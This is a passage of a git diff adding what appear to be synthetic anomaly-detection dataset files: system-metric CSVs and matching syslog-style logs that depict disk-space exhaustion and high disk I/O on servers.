+2025-07-07T09:21:45Z,35.59,49.35,0.78,1.38,89.83 +2025-07-07T09:21:50Z,39.86,53.29,0.72,1.79,83.07 +2025-07-07T09:21:55Z,32.35,53.11,1.07,1.5,76.81 +2025-07-07T09:22:00Z,38.01,47.08,1.2,1.21,72.65 +2025-07-07T09:22:05Z,31.07,54.16,0.99,1.17,72.85 +2025-07-07T09:22:10Z,36.97,45.1,1.07,1.67,76.37 +2025-07-07T09:22:15Z,31.41,48.31,1.36,1.1,82.33 +2025-07-07T09:22:20Z,32.87,53.82,0.62,1.18,89.82 +2025-07-07T09:22:25Z,39.75,53.96,0.92,0.92,97.63 diff --git a/anom_dataset/scenario_3/anom_3_4.log b/anom_dataset/scenario_3/anom_3_4.log new file mode 100644 index 0000000000000000000000000000000000000000..91092ae081e85c2bfb4953ad99493fbd1ad82ce2 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_4.log @@ -0,0 +1,82 @@ +Jul 07 09:15:00 systemd[1]: Started Session 37 of user root. +Jul 07 09:15:05 systemd[1]: Started Session 89 of user root. +Jul 07 09:15:10 session-cleaner[23000]: INFO: Deleting 50 stale session files. +Jul 07 09:15:15 app-worker[10081]: INFO: Generated temporary report file /tmp/report-6625.pdf +Jul 07 09:15:20 systemd[1]: Started Session 82 of user root. +Jul 07 09:15:25 session-cleaner[22636]: INFO: Deleting 50 stale session files. +Jul 07 09:15:30 systemd[1]: Started Session 83 of user root. +Jul 07 09:15:35 data-importer[17687]: INFO: Writing batch 13/100 to temp storage. +Jul 07 09:15:40 sshd[13001]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 07 09:15:45 data-importer[21452]: INFO: Writing batch 13/100 to temp storage. +Jul 07 09:15:50 cache-manager[18117]: INFO: Rebuilding image thumbnail cache. +Jul 07 09:15:55 cache-manager[5834]: INFO: Rebuilding image thumbnail cache. +Jul 07 09:16:00 app-worker[18284]: INFO: Generated temporary report file /tmp/report-3808.pdf +Jul 07 09:16:05 systemd[1]: Started Session 37 of user root. +Jul 07 09:16:10 systemd[1]: Started Session 29 of user root. +Jul 07 09:16:15 session-cleaner[10348]: INFO: Deleting 50 stale session files. +Jul 07 09:16:20 cache-manager[13466]: INFO: Rebuilding image thumbnail cache. +Jul 07 09:16:25 data-importer[17676]: INFO: Writing batch 41/100 to temp storage. +Jul 07 09:16:30 systemd[1]: Started Session 75 of user root. +Jul 07 09:16:35 sshd[5213]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 07 09:16:40 app-worker[18193]: INFO: Generated temporary report file /tmp/report-5940.pdf +Jul 07 09:16:45 systemd[1]: Started Session 7 of user root. +Jul 07 09:16:50 session-cleaner[6672]: INFO: Deleting 50 stale session files. +Jul 07 09:16:55 session-cleaner[16781]: INFO: Deleting 50 stale session files. +Jul 07 09:17:00 systemd[1]: Started Session 41 of user root. +Jul 07 09:17:05 sshd[22061]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 07 09:17:10 app-worker[7209]: INFO: Generated temporary report file /tmp/report-2560.pdf +Jul 07 09:17:15 cache-manager[21092]: INFO: Rebuilding image thumbnail cache. +Jul 07 09:17:20 session-cleaner[13963]: INFO: Deleting 50 stale session files. +Jul 07 09:17:25 systemd[1]: Started Session 49 of user root. +Jul 07 09:17:30 systemd[1]: Started Session 21 of user root. +Jul 07 09:17:35 systemd[1]: Started Session 35 of user root. +Jul 07 09:17:40 systemd[1]: Started Session 45 of user root. +Jul 07 09:17:45 cache-manager[22169]: INFO: Rebuilding image thumbnail cache. +Jul 07 09:17:50 data-importer[17764]: INFO: Writing batch 60/100 to temp storage. +Jul 07 09:17:55 sshd[5538]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 07 09:18:00 session-cleaner[10383]: INFO: Deleting 50 stale session files. +Jul 07 09:18:05 sshd[3874]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 07 09:18:10 session-cleaner[21167]: INFO: Deleting 50 stale session files. +Jul 07 09:18:15 session-cleaner[8051]: INFO: Deleting 50 stale session files. +Jul 07 09:18:20 app-worker[16109]: INFO: Generated temporary report file /tmp/report-3561.pdf +Jul 07 09:18:25 systemd[1]: Started Session 87 of user root. +Jul 07 09:18:30 systemd[1]: Started Session 5 of user root. +Jul 07 09:18:35 data-importer[5521]: INFO: Writing batch 76/100 to temp storage. +Jul 07 09:18:40 sshd[16537]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 07 09:18:45 app-worker[6669]: INFO: Generated temporary report file /tmp/report-9230.pdf +Jul 07 09:18:50 session-cleaner[10958]: INFO: Deleting 50 stale session files. +Jul 07 09:18:55 data-importer[13208]: INFO: Writing batch 67/100 to temp storage. +Jul 07 09:19:00 app-worker[19998]: INFO: Generated temporary report file /tmp/report-6256.pdf +Jul 07 09:19:05 sshd[5904]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 07 09:19:10 session-cleaner[5398]: INFO: Deleting 50 stale session files. +Jul 07 09:19:15 session-cleaner[2973]: INFO: Deleting 50 stale session files. +Jul 07 09:19:20 app-worker[19114]: INFO: Generated temporary report file /tmp/report-2350.pdf +Jul 07 09:19:25 data-importer[4974]: INFO: Writing batch 43/100 to temp storage. +Jul 07 09:19:30 systemd[1]: Started Session 97 of user root. +Jul 07 09:19:35 data-importer[10979]: INFO: Writing batch 33/100 to temp storage. +Jul 07 09:19:40 session-cleaner[19269]: INFO: Deleting 50 stale session files. +Jul 07 09:19:45 data-importer[14793]: INFO: Writing batch 82/100 to temp storage. +Jul 07 09:19:50 systemd[1]: Started Session 56 of user root. +Jul 07 09:19:55 app-worker[14732]: INFO: Generated temporary report file /tmp/report-7480.pdf +Jul 07 09:20:00 data-importer[6675]: INFO: Writing batch 19/100 to temp storage. +Jul 07 09:20:05 systemd[1]: Started Session 18 of user root. +Jul 07 09:20:10 systemd[1]: Started Session 44 of user root. +Jul 07 09:20:15 app-worker[4858]: INFO: Generated temporary report file /tmp/report-1893.pdf +Jul 07 09:20:20 data-importer[12726]: INFO: Writing batch 52/100 to temp storage. +Jul 07 09:20:40 postgres[22776]: WARNING: temporary file size exceeds threshold. +Jul 07 09:20:45 cache-manager[21220]: INFO: Rebuilding image thumbnail cache. +Jul 07 09:20:50 sshd[24123]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 07 09:20:55 data-importer[16620]: INFO: Writing batch 88/100 to temp storage. +Jul 07 09:21:00 session-cleaner[20388]: INFO: Deleting 50 stale session files. +Jul 07 09:21:05 sshd[12236]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 07 09:21:10 cache-manager[6040]: INFO: Rebuilding image thumbnail cache. +Jul 07 09:21:15 data-importer[5644]: INFO: Writing batch 18/100 to temp storage. +Jul 07 09:21:25 app-server[14727]: WARN: High disk I/O detected on /dev/sda1. +Jul 07 09:21:30 app-server[15744]: WARN: High disk I/O detected on /dev/sda1. +Jul 07 09:21:35 postgres[17446]: WARNING: temporary file size exceeds threshold. +Jul 07 09:21:40 app-server[8828]: WARN: High disk I/O detected on /dev/sda1. +Jul 07 09:21:55 session-cleaner[16492]: INFO: Deleting 50 stale session files. +Jul 07 09:22:00 data-importer[21726]: INFO: Writing batch 12/100 to temp storage. +Jul 07 09:22:05 app-worker[6084]: INFO: Generated temporary report file /tmp/report-4716.pdf +Jul 07 09:22:10 systemd[1]: Started Session 92 of user root. +Jul 07 09:22:20 postgres[2838]: WARNING: temporary file size exceeds threshold. diff --git a/anom_dataset/scenario_3/anom_3_5.csv b/anom_dataset/scenario_3/anom_3_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..432a5719c65dade538831a94cd8902edecacd041 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T14:00:00Z,18.67,38.28,28.74,1.35,1.15 +2025-07-03T14:00:05Z,21.4,42.95,30.77,0.58,1.27 +2025-07-03T14:00:10Z,19.7,36.82,32.43,1.04,1.21 +2025-07-03T14:00:15Z,19.24,37.77,29.54,1.39,1.33 +2025-07-03T14:00:20Z,24.1,36.96,34.22,0.56,1.01 +2025-07-03T14:00:25Z,16.66,39.38,34.32,0.6,1.71 +2025-07-03T14:00:30Z,21.65,41.08,36.82,0.63,1.71 +2025-07-03T14:00:35Z,21.27,40.58,34.93,0.9,1.47 +2025-07-03T14:00:40Z,20.56,33.17,36.01,1.45,1.16 +2025-07-03T14:00:45Z,20.06,37.23,35.41,0.74,1.64 +2025-07-03T14:00:50Z,22.34,39.46,37.35,1.05,1.4 +2025-07-03T14:00:55Z,21.63,41.83,37.38,0.82,1.52 +2025-07-03T14:01:00Z,21.96,36.07,37.88,0.57,1.68 +2025-07-03T14:01:05Z,19.67,37.68,42.66,0.87,1.71 +2025-07-03T14:01:10Z,22.17,42.14,41.79,0.65,1.13 +2025-07-03T14:01:15Z,16.57,34.79,41.8,0.6,1.5 +2025-07-03T14:01:20Z,18.97,38.06,44.0,0.69,1.27 +2025-07-03T14:01:25Z,21.38,37.49,45.22,1.02,1.81 +2025-07-03T14:01:30Z,20.48,38.79,45.03,0.66,1.04 +2025-07-03T14:01:35Z,23.16,41.33,44.95,1.07,0.98 +2025-07-03T14:01:40Z,21.88,36.17,44.9,1.04,1.75 +2025-07-03T14:01:45Z,21.97,36.99,47.97,1.19,1.16 +2025-07-03T14:01:50Z,19.55,38.75,48.12,0.55,1.41 +2025-07-03T14:01:55Z,19.01,41.72,47.93,0.53,0.97 +2025-07-03T14:02:00Z,17.69,38.77,48.31,1.13,1.05 +2025-07-03T14:02:05Z,23.57,36.29,46.81,1.07,1.35 +2025-07-03T14:02:10Z,17.74,42.05,50.18,0.73,1.18 +2025-07-03T14:02:15Z,22.22,44.04,52.63,0.63,1.13 +2025-07-03T14:02:20Z,19.42,43.56,49.42,0.63,1.94 +2025-07-03T14:02:25Z,19.33,37.31,52.21,0.76,0.88 +2025-07-03T14:02:30Z,18.22,35.62,53.51,0.61,1.61 +2025-07-03T14:02:35Z,18.02,37.76,54.47,0.52,1.98 +2025-07-03T14:02:40Z,18.41,38.64,56.66,0.79,1.24 +2025-07-03T14:02:45Z,19.82,40.47,55.19,0.96,1.4 +2025-07-03T14:02:50Z,21.51,45.28,58.61,0.69,1.85 +2025-07-03T14:02:55Z,20.14,37.67,58.1,0.98,1.51 +2025-07-03T14:03:00Z,22.04,37.23,59.73,0.85,1.87 +2025-07-03T14:03:05Z,18.68,38.86,57.11,1.05,1.52 +2025-07-03T14:03:10Z,19.93,40.14,59.51,0.79,1.22 +2025-07-03T14:03:15Z,18.46,42.49,59.11,1.34,1.29 +2025-07-03T14:03:20Z,18.33,39.29,61.93,0.75,1.05 +2025-07-03T14:03:25Z,19.78,37.92,62.34,1.1,1.49 +2025-07-03T14:03:30Z,20.99,37.6,60.83,1.0,1.74 +2025-07-03T14:03:35Z,19.63,38.42,65.52,1.32,1.82 +2025-07-03T14:03:40Z,19.38,45.42,62.36,1.01,1.86 +2025-07-03T14:03:45Z,20.48,47.7,65.81,0.68,1.83 +2025-07-03T14:03:50Z,18.55,40.34,69.12,1.49,1.11 +2025-07-03T14:03:55Z,20.89,39.28,67.12,0.82,1.29 +2025-07-03T14:04:00Z,18.32,43.46,67.14,1.31,1.35 +2025-07-03T14:04:05Z,20.57,43.22,68.11,1.48,1.03 +2025-07-03T14:04:10Z,19.77,37.01,69.79,0.81,1.89 +2025-07-03T14:04:15Z,17.61,37.47,71.62,1.16,1.2 +2025-07-03T14:04:20Z,23.98,37.97,70.22,1.43,1.08 +2025-07-03T14:04:25Z,20.87,39.78,70.93,1.29,0.99 +2025-07-03T14:04:30Z,17.49,41.74,75.35,1.14,1.95 +2025-07-03T14:04:35Z,25.06,43.88,76.04,0.72,1.43 +2025-07-03T14:04:40Z,18.66,37.64,72.06,0.72,1.83 +2025-07-03T14:04:45Z,23.46,43.92,73.74,1.15,1.64 +2025-07-03T14:04:50Z,23.25,39.72,74.44,0.62,1.2 +2025-07-03T14:04:55Z,20.71,39.6,75.19,1.0,1.66 +2025-07-03T14:05:00Z,18.91,35.47,76.98,1.09,0.82 +2025-07-03T14:05:05Z,19.33,38.79,78.25,1.22,0.89 +2025-07-03T14:05:10Z,20.35,36.48,77.58,1.08,1.21 +2025-07-03T14:05:15Z,18.95,42.35,82.32,0.56,1.0 +2025-07-03T14:05:20Z,20.08,37.37,79.49,1.03,1.45 +2025-07-03T14:05:25Z,19.95,37.86,80.58,1.39,1.2 +2025-07-03T14:05:30Z,18.72,42.35,83.12,0.98,1.97 +2025-07-03T14:05:35Z,16.81,43.97,94.85,1.05,0.88 +2025-07-03T14:05:40Z,20.99,38.62,100.0,0.68,1.88 +2025-07-03T14:05:45Z,20.55,42.29,100.0,1.43,1.25 +2025-07-03T14:05:50Z,18.05,41.11,100.0,1.39,1.08 +2025-07-03T14:05:55Z,19.63,37.01,100.0,1.32,1.5 +2025-07-03T14:06:00Z,22.78,37.61,100.0,1.06,1.64 +2025-07-03T14:06:05Z,20.94,38.86,100.0,0.79,1.64 +2025-07-03T14:06:10Z,19.45,38.98,100.0,1.04,1.71 +2025-07-03T14:06:15Z,21.36,37.24,100.0,0.76,1.81 +2025-07-03T14:06:20Z,24.25,41.05,89.4,1.32,0.87 +2025-07-03T14:06:25Z,19.95,40.57,93.38,0.71,1.05 +2025-07-03T14:06:30Z,19.88,37.95,92.4,0.64,1.57 +2025-07-03T14:06:35Z,23.41,38.54,88.67,1.25,1.41 +2025-07-03T14:06:40Z,18.17,44.93,94.99,1.11,1.84 +2025-07-03T14:06:45Z,14.03,33.53,94.55,1.47,1.15 +2025-07-03T14:06:50Z,19.45,39.42,94.14,0.91,1.38 +2025-07-03T14:06:55Z,16.43,38.08,94.51,1.2,1.65 +2025-07-03T14:07:00Z,18.0,43.19,96.41,0.91,1.97 +2025-07-03T14:07:05Z,20.18,39.32,100.0,1.24,1.55 +2025-07-03T14:07:10Z,21.57,38.11,95.27,1.43,1.05 +2025-07-03T14:07:15Z,21.19,37.84,100.0,0.55,1.37 +2025-07-03T14:07:20Z,20.59,38.48,96.45,0.95,1.05 +2025-07-03T14:07:25Z,22.31,41.7,100.0,1.01,1.16 diff --git a/anom_dataset/scenario_3/anom_3_5.log b/anom_dataset/scenario_3/anom_3_5.log new file mode 100644 index 0000000000000000000000000000000000000000..0664dba9a53fa63af3b1ef6f79101dc1a3ca8940 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_5.log @@ -0,0 +1,33 @@ +Jul 03 14:00:00 systemd[1]: Started Session 0 of user root. +Jul 03 14:00:35 kubelet[2150]: INFO: routine sync completed for pod monitoring-agent +Jul 03 14:01:10 sshd[4514]: Accepted password for user admin from 10.0.2.5 port 51234 ssh2 +Jul 03 14:01:45 CRON[1821]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 03 14:02:20 nginx[3321]: GET /healthz HTTP/1.1 200 OK +Jul 03 14:02:55 systemd[1]: Started Session 35 of user root. +Jul 03 14:03:30 kubelet[2150]: INFO: routine sync completed for pod monitoring-agent +Jul 03 14:04:05 sshd[4549]: Accepted password for user admin from 10.0.2.5 port 51234 ssh2 +Jul 03 14:04:40 CRON[1856]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 03 14:05:15 nginx[3321]: GET /healthz HTTP/1.1 200 OK +Jul 03 14:05:35 rsyslogd[1800]: action 'action-9-omfile' suspended, retry resume. No space left on device [v8.2001.0 try https://www.rsyslog.com/e/2007 ] +Jul 03 14:05:40 kubelet[2150]: ERROR: failed to write pod logs: No space left on device +Jul 03 14:05:45 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Jul 03 14:05:50 postgres[5123]: ERROR: could not write to temporary file: No space left on device +Jul 03 14:05:50 systemd[1]: Started Session 70 of user root. +Jul 03 14:05:55 nginx[3321]: [crit] 2828#0: *130239 write() "/var/log/nginx/access.log" failed (28: No space left on device) +Jul 03 14:06:00 rsyslogd[1800]: action 'action-9-omfile' suspended, retry resume. No space left on device [v8.2001.0 try https://www.rsyslog.com/e/2007 ] +Jul 03 14:06:05 kubelet[2150]: ERROR: failed to write pod logs: No space left on device +Jul 03 14:06:10 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Jul 03 14:06:15 postgres[5123]: ERROR: could not write to temporary file: No space left on device +Jul 03 14:06:20 nginx[3321]: [crit] 2828#0: *130239 write() "/var/log/nginx/access.log" failed (28: No space left on device) +Jul 03 14:06:25 kubelet[2150]: INFO: routine sync completed for pod monitoring-agent +Jul 03 14:06:25 rsyslogd[1800]: action 'action-9-omfile' suspended, retry resume. No space left on device [v8.2001.0 try https://www.rsyslog.com/e/2007 ] +Jul 03 14:06:30 kubelet[2150]: ERROR: failed to write pod logs: No space left on device +Jul 03 14:06:35 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Jul 03 14:06:55 kubelet[2150]: ERROR: failed to write pod logs: No space left on device +Jul 03 14:07:00 sshd[4584]: Accepted password for user admin from 10.0.2.5 port 51234 ssh2 +Jul 03 14:07:00 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Jul 03 14:07:05 postgres[5123]: ERROR: could not write to temporary file: No space left on device +Jul 03 14:07:10 nginx[3321]: [crit] 2828#0: *130239 write() "/var/log/nginx/access.log" failed (28: No space left on device) +Jul 03 14:07:15 rsyslogd[1800]: action 'action-9-omfile' suspended, retry resume. No space left on device [v8.2001.0 try https://www.rsyslog.com/e/2007 ] +Jul 03 14:07:20 kubelet[2150]: ERROR: failed to write pod logs: No space left on device +Jul 03 14:07:25 systemd[1]: Failed to start Flush Journal to Persistent Storage. diff --git a/anom_dataset/scenario_3/anom_3_6.csv b/anom_dataset/scenario_3/anom_3_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..a6dc00d24cb75165ccacc95d2082e547043ee041 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T11:00:00Z,27.3,49.09,19.39,0.66,1.25 +2025-07-03T11:00:05Z,24.02,42.93,19.31,0.57,1.98 +2025-07-03T11:00:10Z,25.28,33.74,23.43,0.69,1.54 +2025-07-03T11:00:15Z,27.36,41.3,15.65,1.0,1.72 +2025-07-03T11:00:20Z,27.69,38.94,23.23,1.09,1.87 +2025-07-03T11:00:25Z,24.97,35.44,19.27,0.88,1.49 +2025-07-03T11:00:30Z,21.67,39.47,22.98,0.73,1.28 +2025-07-03T11:00:35Z,27.64,35.66,18.48,1.02,0.9 +2025-07-03T11:00:40Z,23.9,40.43,18.2,0.92,0.9 +2025-07-03T11:00:45Z,25.05,37.81,21.73,0.97,0.87 +2025-07-03T11:00:50Z,25.73,48.78,16.94,0.58,0.9 +2025-07-03T11:00:55Z,17.84,40.45,15.19,0.95,0.48 +2025-07-03T11:01:00Z,26.05,39.83,16.16,0.82,1.46 +2025-07-03T11:01:05Z,23.67,39.43,24.3,0.83,1.12 +2025-07-03T11:01:10Z,25.33,33.61,16.99,0.58,1.5 +2025-07-03T11:01:15Z,27.9,46.53,24.46,0.59,1.33 +2025-07-03T11:01:20Z,24.72,43.62,21.74,0.94,1.59 +2025-07-03T11:01:25Z,26.95,42.02,21.98,0.78,1.39 +2025-07-03T11:01:30Z,22.44,39.54,20.33,0.51,1.46 +2025-07-03T11:01:35Z,25.61,38.47,16.48,0.56,1.78 +2025-07-03T11:01:40Z,29.91,41.08,17.76,0.77,0.6 +2025-07-03T11:01:45Z,21.07,38.99,22.13,0.69,1.14 +2025-07-03T11:01:50Z,28.32,51.14,17.16,0.67,0.71 +2025-07-03T11:01:55Z,26.18,42.37,19.51,0.8,1.29 +2025-07-03T11:02:00Z,21.28,47.03,14.61,1.01,1.08 +2025-07-03T11:02:05Z,23.62,38.7,16.12,1.03,0.67 +2025-07-03T11:02:10Z,22.63,36.34,19.98,0.74,0.86 +2025-07-03T11:02:15Z,26.49,42.35,19.06,0.76,0.23 +2025-07-03T11:02:20Z,22.58,43.56,19.72,0.87,1.47 +2025-07-03T11:02:25Z,26.11,47.71,16.99,0.65,0.79 +2025-07-03T11:02:30Z,26.56,39.66,19.37,1.07,0.83 +2025-07-03T11:02:35Z,24.08,41.13,20.52,0.96,1.28 +2025-07-03T11:02:40Z,24.84,41.66,18.81,0.75,1.07 +2025-07-03T11:02:45Z,30.22,40.96,20.33,0.77,1.57 +2025-07-03T11:02:50Z,23.36,35.69,24.79,0.72,0.69 +2025-07-03T11:02:55Z,23.54,35.75,28.66,1.0,0.96 +2025-07-03T11:03:00Z,27.15,43.81,25.74,0.81,0.42 +2025-07-03T11:03:05Z,23.23,40.69,25.92,0.69,1.12 +2025-07-03T11:03:10Z,25.49,38.34,29.63,0.55,0.94 +2025-07-03T11:03:15Z,21.1,40.69,29.59,0.83,1.9 +2025-07-03T11:03:20Z,21.95,43.35,30.13,0.87,1.55 +2025-07-03T11:03:25Z,24.7,45.11,27.36,0.68,1.12 +2025-07-03T11:03:30Z,27.28,41.54,31.25,1.23,0.8 +2025-07-03T11:03:35Z,26.26,38.12,32.27,0.86,1.26 +2025-07-03T11:03:40Z,27.96,31.29,37.59,0.78,1.0 +2025-07-03T11:03:45Z,19.94,38.24,39.33,0.76,0.61 +2025-07-03T11:03:50Z,29.05,44.44,36.68,0.44,1.23 +2025-07-03T11:03:55Z,25.08,40.14,41.93,0.83,1.15 +2025-07-03T11:04:00Z,30.22,40.69,39.58,0.62,1.41 +2025-07-03T11:04:05Z,25.05,43.39,42.64,1.21,1.33 +2025-07-03T11:04:10Z,19.86,39.79,40.54,0.79,1.42 +2025-07-03T11:04:15Z,25.15,35.43,46.27,0.82,0.97 +2025-07-03T11:04:20Z,25.13,45.07,46.33,0.88,1.3 +2025-07-03T11:04:25Z,29.7,34.44,49.48,0.73,1.15 +2025-07-03T11:04:30Z,25.04,40.52,49.77,1.0,0.88 +2025-07-03T11:04:35Z,21.1,36.14,52.01,0.61,1.13 +2025-07-03T11:04:40Z,29.83,37.91,51.29,0.87,1.21 +2025-07-03T11:04:45Z,28.3,35.85,51.44,0.79,1.62 +2025-07-03T11:04:50Z,25.09,43.39,52.53,1.09,1.2 +2025-07-03T11:04:55Z,23.75,36.71,57.66,1.36,1.07 +2025-07-03T11:05:00Z,21.93,36.54,58.23,0.89,1.05 +2025-07-03T11:05:05Z,26.58,41.66,61.18,0.74,0.69 +2025-07-03T11:05:10Z,33.33,38.97,56.95,0.99,1.2 +2025-07-03T11:05:15Z,19.82,48.0,63.88,0.94,0.83 +2025-07-03T11:05:20Z,23.09,37.75,64.23,0.89,1.1 +2025-07-03T11:05:25Z,28.94,36.89,61.65,1.01,1.24 +2025-07-03T11:05:30Z,20.46,37.48,66.82,0.54,1.0 +2025-07-03T11:05:35Z,24.93,36.39,67.99,1.05,1.04 +2025-07-03T11:05:40Z,25.0,38.74,66.22,1.03,0.91 +2025-07-03T11:05:45Z,27.83,42.2,73.2,0.95,0.56 +2025-07-03T11:05:50Z,25.93,39.83,67.37,0.69,1.04 +2025-07-03T11:05:55Z,21.28,48.05,72.68,0.54,1.43 +2025-07-03T11:06:00Z,24.22,41.87,73.92,1.02,1.94 +2025-07-03T11:06:05Z,26.6,32.83,77.98,0.89,1.38 +2025-07-03T11:06:10Z,22.45,46.06,75.82,0.69,1.71 +2025-07-03T11:06:15Z,26.75,38.4,93.69,0.61,1.2 +2025-07-03T11:06:20Z,23.53,36.78,93.52,1.08,1.46 +2025-07-03T11:06:25Z,29.38,37.03,100.0,0.92,1.77 +2025-07-03T11:06:30Z,28.91,37.4,100.0,0.97,1.82 +2025-07-03T11:06:35Z,31.55,46.41,100.0,0.83,1.35 +2025-07-03T11:06:40Z,22.03,41.68,85.4,0.69,0.99 +2025-07-03T11:06:45Z,25.31,36.36,85.02,0.62,1.07 +2025-07-03T11:06:50Z,26.61,43.53,83.55,0.85,1.49 +2025-07-03T11:06:55Z,22.37,33.27,88.32,1.07,1.34 +2025-07-03T11:07:00Z,29.38,47.6,88.39,0.87,1.01 +2025-07-03T11:07:05Z,24.02,44.03,87.36,0.51,0.92 +2025-07-03T11:07:10Z,24.91,40.46,96.59,0.94,0.89 +2025-07-03T11:07:15Z,27.55,41.85,95.85,0.89,1.26 +2025-07-03T11:07:20Z,22.0,39.06,91.68,0.64,0.45 +2025-07-03T11:07:25Z,28.62,38.84,97.23,1.26,1.31 diff --git a/anom_dataset/scenario_3/anom_3_6.log b/anom_dataset/scenario_3/anom_3_6.log new file mode 100644 index 0000000000000000000000000000000000000000..dff7e7cd71fb7432d6586bb797e5a84119754a71 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_6.log @@ -0,0 +1,60 @@ +Jul 03 11:00:00 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:00:00 systemd[1]: Started Session 10 of user ubuntu. +Jul 03 11:00:25 systemd[1]: Started Session 15 of user ubuntu. +Jul 03 11:00:35 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:00:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 03 11:00:50 systemd[1]: Started Session 20 of user ubuntu. +Jul 03 11:01:10 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:01:15 app[5432]: INFO User 'admin' logged in successfully. +Jul 03 11:01:15 systemd[1]: Started Session 25 of user ubuntu. +Jul 03 11:01:40 systemd[1]: Started Session 30 of user ubuntu. +Jul 03 11:01:45 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:02:05 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 03 11:02:05 systemd[1]: Started Session 35 of user ubuntu. +Jul 03 11:02:20 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:02:30 kernel: [12345.30] EXT4-fs (sda1): resizing filesystem +Jul 03 11:02:40 data-processor[8876]: INFO Writing batch 3 to /var/data/processed_data.log +Jul 03 11:03:00 data-processor[8876]: INFO Writing batch 7 to /var/data/processed_data.log +Jul 03 11:03:20 data-processor[8876]: INFO Writing batch 11 to /var/data/processed_data.log +Jul 03 11:03:20 kernel: [12345.40] EXT4-fs (sda1): resizing filesystem +Jul 03 11:03:20 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.102 port 60123 ssh2 +Jul 03 11:03:40 data-processor[8876]: INFO Writing batch 15 to /var/data/processed_data.log +Jul 03 11:04:00 data-processor[8876]: INFO Writing batch 19 to /var/data/processed_data.log +Jul 03 11:04:10 kernel: [12345.50] EXT4-fs (sda1): resizing filesystem +Jul 03 11:04:20 data-processor[8876]: INFO Writing batch 23 to /var/data/processed_data.log +Jul 03 11:04:35 systemd[1]: Starting Daily apt download activities... +Jul 03 11:04:40 data-processor[8876]: INFO Writing batch 27 to /var/data/processed_data.log +Jul 03 11:05:00 data-processor[8876]: INFO Writing batch 31 to /var/data/processed_data.log +Jul 03 11:05:00 kernel: [12345.60] EXT4-fs (sda1): resizing filesystem +Jul 03 11:05:20 data-processor[8876]: INFO Writing batch 35 to /var/data/processed_data.log +Jul 03 11:05:25 systemd[1]: Finished Daily apt download activities. +Jul 03 11:05:40 data-processor[8876]: INFO Writing batch 39 to /var/data/processed_data.log +Jul 03 11:05:50 kernel: [12345.70] EXT4-fs (sda1): resizing filesystem +Jul 03 11:06:00 data-processor[8876]: INFO Writing batch 43 to /var/data/processed_data.log +Jul 03 11:06:15 data-dumper[9123]: WARN Large data dump requested, writing 769MB to disk. +Jul 03 11:06:20 data-dumper[9123]: WARN Large data dump requested, writing 545MB to disk. +Jul 03 11:06:25 data-dumper[9123]: WARN Large data dump requested, writing 731MB to disk. +Jul 03 11:06:30 data-dumper[9123]: WARN Large data dump requested, writing 670MB to disk. +Jul 03 11:06:35 data-dumper[9123]: WARN Large data dump requested, writing 701MB to disk. +Jul 03 11:06:40 data-processor[8876]: WARN Low disk space detected on /var/data. +Jul 03 11:06:40 kernel: [12390.80] print_req_error: I/O error, dev sda, sector 117124538 +Jul 03 11:06:45 data-processor[8876]: WARN Low disk space detected on /var/data. +Jul 03 11:06:45 kernel: [12390.81] print_req_error: I/O error, dev sda, sector 117124546 +Jul 03 11:06:50 data-processor[8876]: WARN Low disk space detected on /var/data. +Jul 03 11:06:50 kernel: [12390.82] print_req_error: I/O error, dev sda, sector 117124554 +Jul 03 11:06:55 data-processor[8876]: WARN Low disk space detected on /var/data. +Jul 03 11:06:55 kernel: [12390.83] print_req_error: I/O error, dev sda, sector 117124562 +Jul 03 11:07:00 data-processor[8876]: WARN Low disk space detected on /var/data. +Jul 03 11:07:00 kernel: [12390.84] print_req_error: I/O error, dev sda, sector 117124570 +Jul 03 11:07:05 app[5432]: CRITICAL Could not write session file: No space left on device +Jul 03 11:07:05 data-processor[8876]: ERROR Failed to write to file: No space left on device +Jul 03 11:07:10 app[5432]: CRITICAL Could not write session file: No space left on device +Jul 03 11:07:10 data-processor[8876]: ERROR Failed to write to file: No space left on device +Jul 03 11:07:10 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Jul 03 11:07:15 app[5432]: CRITICAL Could not write session file: No space left on device +Jul 03 11:07:15 data-processor[8876]: ERROR Failed to write to file: No space left on device +Jul 03 11:07:20 app[5432]: CRITICAL Could not write session file: No space left on device +Jul 03 11:07:20 data-processor[8876]: ERROR Failed to write to file: No space left on device +Jul 03 11:07:20 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Jul 03 11:07:25 app[5432]: CRITICAL Could not write session file: No space left on device +Jul 03 11:07:25 data-processor[8876]: ERROR Failed to write to file: No space left on device diff --git 